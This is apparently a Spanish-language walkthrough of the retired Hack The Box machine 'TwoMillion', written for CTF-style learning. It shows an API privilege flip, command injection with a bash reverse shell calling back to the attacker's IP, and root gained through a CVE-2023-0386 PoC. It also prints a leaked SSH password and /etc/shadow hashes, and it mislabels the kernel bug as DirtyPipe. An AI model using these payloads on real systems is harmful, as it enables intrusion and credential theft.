Write up |  TwoMillions- Maquina Retirada

Write up | TwoMillions- Maquina Retirada

Comenzamos realizando un escaneo con nmap

# Nmap 7.94SVN scan initiated Sat Mar  9 08:28:12 2024 as: nmap -p- -sS -vvv --open --min-rate 5000 -Pn -n -oG allports 10.129.229.66
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.129.229.66 ()    Status: Up
Host: 10.129.229.66 ()    Ports: 22/open/tcp//ssh///, 80/open/tcp//http///
# Nmap done at Sat Mar  9 08:28:34 2024 -- 1 IP address (1 host up) scanned in 22.31 seconds
# Nmap 7.94SVN scan initiated Sat Mar  9 08:28:12 2024 as: nmap -p- -sS -vvv --open --min-rate 5000 -Pn -n -oG allports 10.129.229.66
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.129.229.66 ()    Status: Up
Host: 10.129.229.66 ()    Ports: 22/open/tcp//ssh///, 80/open/tcp//http///
# Nmap done at Sat Mar  9 08:28:34 2024 -- 1 IP address (1 host up) scanned in 22.31 seconds

Evidenciamos que tenemos el puerto 80 y el 22 los cuales hacen referencia a SSH y HTTP.

Cuando ingresamos a la pagina que esta por el puerto 80 tenemos un login.

Iniciamos la búsqueda e subdominios y posibles directorios dentro de la aplicación web.

 wfuzz -c --hc=403,404,400 --hh=162 -w  /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt  -H "HOST: FUZZ.2million.htb" -u http://2million.htb/

En la busqueda de directorios encontramos unos bastante interesantes.

irsearch -u http://2million.htb/    

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/HTB/twomillions/escaneo/reports/http_2million.htb/__24-03-09_08-39-27.txt

Target: http://2million.htb/

[08:39:27] Starting: 
[08:39:30] 301 -  162B  - /js  ->  http://2million.htb/js/
[08:39:48] 200 -    2KB - /404
[08:40:16] 401 -    0B  - /api
[08:40:16] 401 -    0B  - /api/v1
[08:40:18] 403 -  548B  - /assets/
[08:40:18] 301 -  162B  - /assets  ->  http://2million.htb/assets/
[08:40:33] 403 -  548B  - /controllers/
[08:40:34] 301 -  162B  - /css  ->  http://2million.htb/css/
[08:40:48] 301 -  162B  - /fonts  ->  http://2million.htb/fonts/
[08:40:53] 302 -    0B  - /home  ->  /
[08:40:55] 403 -  548B  - /images/
[08:40:55] 301 -  162B  - /images  ->  http://2million.htb/images/
[08:41:03] 403 -  548B  - /js/
[08:41:08] 200 -    4KB - /login
[08:41:09] 302 -    0B  - /logout  ->  /
[08:41:39] 200 -    4KB - /register
[08:42:10] 301 -  162B  - /views  ->  http://2million.htb/views/

Task Completed

Al ingresar a /invite podemos ver que tenemos un apartado para ingresar un código de invitación.

Si miramos el código fuente de la pagina podemos ver un directorio /js/inviteapi.main.js.

Cuando ingresamos a este tenemos un oneliner pero sí vamos a https://beautifier.io/ podemos ver el código con mejor estética.

Podemos ver la función por la consola web.

Sí validamos el endpoint que nos indica en makeInvitecode podemos lanzar un curl para ver que información nos devuelve.

curl -X POST 2million.htb/api/v1/invite/how/to/generate
{"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr","enctype":"ROT13"},"hint":"Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."}

Tenemos en "data" una información en rot13, vamos al siguiente enlace para hacerle un decode.

https://rot13.com/

In order to generate the invite code, make a POST request to /api/v1/invite/generate

Podemos lanzar un curl con la flag | jq para formatear la información en formato js

curl -s -k -X POST 'http://2million.htb/api/v1/invite/generate' | jq
{
  "0": 200,
  "success": 1,
  "data": {
    "code": "OVdRSkUtSDZCRFUtSjhIUFMtVkdVQ08=",
    "format": "encoded"
  }
}

en "code" vemos una linea de caracteres que al parecer se encuentran en base 64.
Al hacer el decode de esta en local podemos que se trata del código de invitación.

echo 'OVdRSkUtSDZCRFUtSjhIUFMtVkdVQ08=' | base64 -d 
9WQJE-H6BDU-J8HPS-VGUCO

Ahora ingresamos a la web.

La parte interesante es en Access.

Observamos el código fuente de la pagina.

Tenemos capacidad de Directory Listing.

En la ruta de /api el servidor nos responde con rutas potenciales de la API.

Podemos ver que hay autorizaciones de administrador, configuración y generar una vpn con admin.

Intentando ingresar al endpoint de admin.

Lanzamos la petición por PUT:

El método HTTP PUT se utiliza para actualizar recursos existentes en un servidor web. Aquí tienes una descripción general de cómo se usa el método PUT:

  1. Identificar el recurso a actualizar: Antes de hacer un PUT, necesitas saber la URL del recurso que quieres actualizar en el servidor.

  2. Preparar los datos: Debes preparar los datos que deseas enviar al servidor para actualizar el recurso. Esto generalmente implica formatear los datos en el cuerpo de la solicitud en el formato apropiado, como JSON, XML o datos de formulario.

  3. Enviar la solicitud PUT: Utilizando un cliente HTTP, como cURL, Postman o código de programación, envía una solicitud HTTP PUT al servidor web. La solicitud debe incluir la URL del recurso a actualizar y los datos actualizados en el cuerpo de la solicitud.

  4. Procesar la respuesta: Una vez que se envía la solicitud PUT, el servidor procesará la solicitud y responderá con un código de estado HTTP para indicar el resultado de la operación. Por ejemplo, un código de estado 200 indica que la solicitud se procesó correctamente, mientras que un código de estado 404 indica que el recurso no se encontró en el servidor.

Nos devuelve un Invalid content entonces le debemos de añadir la cabecera en nuestro Request. Content-Type: application/json

Ingresamos el parametro email tal cual nos lo pide y una vez le añadimos este nos pide que le indiquemos la variable is_admin cuando mandamos la petición nos devuelve que debe de ser 0 o 1.

Enviamos en is_admin:1

Si validamos en /auth nos devuelve un true.

Si vamos al endpoint de generación de vpn podemos ver la siguiente respuesta:

aca hay una vulnerabilidad simple que es una inyeccion basica con ; whoami #.

El punto y coma ; en el contexto de inyección de comandos se utiliza para separar múltiples comandos en una sola línea en sistemas Unix-like. En una inyección de comandos, el punto y coma se utiliza para delimitar comandos y permitir que se ejecuten secuencialmente.

Por ejemplo, en el caso de la inyección mencionada: agrawain; whoami #, el punto y coma se utiliza para indicar al sistema que ejecute dos comandos:

  1. whoami: Este es el comando que el atacante desea ejecutar. El comando whoami en Unix-like devuelve el nombre del usuario actual que está autenticado en el sistema.

Con esto evidenciamos que tenemos inyección de comandos y nos generamos una revershell básica.

{

    "username":"agrawain; bash -c 'exec bash -i &>/dev/tcp/10.10.14.3/666 <&1' #"

}

Tenemos conexión con la maquina victima.

realizamos un tratamiento de la tty

script /dev/null -c bash
ctl + Z
stty raw -echo; fg
reset
xterm
export TERM=xterm
export SHELL=bash

En el directorio donde ingresamos con la shell tenemos un archivo llamado .env donde podemos ver información de una conexión de base de datos. Pero recordar que tenemos el puerto 22 abierto así que intentamos una conexión por esta.

ssh admin@10.129.229.66
password ssh: SuperDuperPass123

En la enumeración podemos evidenciar que el kernel esta un deprecate, buscando podemos ver que esta version es vulnerable al siguiente ataque: Linux Kernel 5.8 < 5.16.11 - Local Privilege Escalation (DirtyPipe)

https://securitylabs.datadoghq.com/articles/overlayfs-cve-2023-0386/?source=post_page-----3aee8b2f99cd--------------------------------
https://0xdf.gitlab.io/2023/06/07/htb-twomillion.html

Encontramos un PoC en github.

Por de ssh nos copiamos el zip que nos descargamos del repositorio de github.

scp CVE-2023-0386-master.zip admin@2million.htb:/tmp/
The authenticity of host '2million.htb (10.129.229.66)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:27: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '2million.htb' (ED25519) to the list of known hosts.
admin@2million.htb's password: 
CVE-2023-0386-master.zip

Seguimos los pasos que nos indican en el PoC y debemos de hacer un unzip del archivo y ingresar al directorio una vez hacemos esto debemos de ingresar en la terminal make all.

Para explotar esto debemos de tener dos secciones abiertas por ssh.

en la primera terminal.

/fuse ./ovlcap/lower ./gc
[+] len of gc: 0x3ee0

En la segunda terminal

./exp

Una vez tenemos estas dos condiciones pasamos a root y listo podemos ver la flag del usuario root en su directorio /root

root@2million:/root# cat root.txt 
51eeeaad46cc322655ce7f13424dc079
root@2million:/root/.ssh# cat /etc/shadow
root:$y$j9T$lMX63DLnmS7C2fo11Mluz0$orSq4ixScTWZCqbOolOvi7GqJtj0h/4oyA..NydDMn7:19508:0:99999:7:::
daemon:*:19405:0:99999:7:::
bin:*:19405:0:99999:7:::
sys:*:19405:0:99999:7:::
sync:*:19405:0:99999:7:::
games:*:19405:0:99999:7:::
man:*:19405:0:99999:7:::
lp:*:19405:0:99999:7:::
mail:*:19405:0:99999:7:::
news:*:19405:0:99999:7:::
uucp:*:19405:0:99999:7:::
proxy:*:19405:0:99999:7:::
www-data:*:19405:0:99999:7:::
backup:*:19405:0:99999:7:::
list:*:19405:0:99999:7:::
irc:*:19405:0:99999:7:::
gnats:*:19405:0:99999:7:::
nobody:*:19405:0:99999:7:::
_apt:*:19405:0:99999:7:::
systemd-network:*:19405:0:99999:7:::
systemd-resolve:*:19405:0:99999:7:::
messagebus:*:19405:0:99999:7:::
systemd-timesync:*:19405:0:99999:7:::
pollinate:*:19405:0:99999:7:::
sshd:*:19405:0:99999:7:::
syslog:*:19405:0:99999:7:::
uuidd:*:19405:0:99999:7:::
tcpdump:*:19405:0:99999:7:::
tss:*:19405:0:99999:7:::
landscape:*:19405:0:99999:7:::
fwupd-refresh:*:19405:0:99999:7:::
usbmux:*:19474:0:99999:7:::
lxd:!:19474::::::
mysql:!:19503:0:99999:7:::
admin:$y$j9T$M.rrzwF088SlZEp26ePcN/$tkFiTne68BW.DOnV4I90X.wIuGYM/gWU5jTgbOlzztD:19508:0:99999:7:::
memcache:!:19507:0:99999:7:::
_laurel:!:19514::::::